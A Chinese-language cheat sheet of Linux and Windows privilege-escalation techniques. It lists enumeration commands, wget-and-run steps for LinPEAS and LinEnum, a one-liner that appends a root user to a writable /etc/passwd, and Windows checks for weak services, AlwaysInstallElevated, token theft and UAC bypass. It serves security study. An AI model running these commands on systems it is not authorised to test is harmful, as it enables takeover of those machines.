Skip to content

权限提升笔记

Linux 和 Windows 系统权限提升的技术笔记。

🐧 Linux 权限提升

信息收集

系统信息

bash
# 系统版本
cat /etc/issue
cat /etc/*-release
uname -a

# 当前用户
whoami
id

# 用户列表
cat /etc/passwd

# SUDO 权限
sudo -l

自动化枚举工具

bash
# LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

常见提权方法

1. SUID 二进制文件

bash
# 查找 SUID 文件
find / -perm -4000 -type f 2>/dev/null

# 利用 GTFOBins
# https://gtfobins.github.io/

2. SUDO 配置错误

bash
# 查看 sudo 权限
sudo -l

# 常见可利用的 sudo 配置
# - vim, less, more
# - python, perl, ruby
# - find, awk, nmap

3. Cron 任务

bash
# 查看 cron 任务
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

4. 文件权限配置错误

bash
# 可写的配置文件
find / -writable -type f 2>/dev/null | grep -v /proc | grep -v /sys

# /etc/passwd 可写
echo 'newuser:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd

5. Kernel 漏洞利用

bash
# 查看内核版本
uname -a

# 搜索已知漏洞
searchsploit linux kernel 3.13

6. NFS 共享

bash
# 查看 NFS 配置
cat /etc/exports

# no_root_squash 利用

🪟 Windows 权限提升

信息收集

系统信息

powershell
# 系统信息
systeminfo
hostname
whoami /all

# 用户列表
net user
net localgroup administrators

自动化枚举工具

powershell
# WinPEAS
.\winPEASx64.exe

# PowerUp
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

常见提权方法

1. 服务配置错误

powershell
# 查看服务
sc query state= all

# 不安全的服务权限
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

# 不安全的服务路径
wmic service get name,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"

2. 注册表提权

powershell
# AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

3. 计划任务

powershell
# 查看计划任务
schtasks /query /fo LIST /v

4. Token 窃取

bash
# Potato 系列
# - Hot Potato
# - Rotten Potato
# - Juicy Potato
# - Rogue Potato

5. UAC 绕过

powershell
# 常见 UAC 绕过技术
# - eventvwr.exe
# - fodhelper.exe
# - computerdefaults.exe

6. DLL 劫持

powershell
# 查找可劫持的 DLL

🔧 实用工具

Linux

Windows

📚 参考资源


持续更新中...

⚠️ 内容仅供学习交流使用 | 本站访问量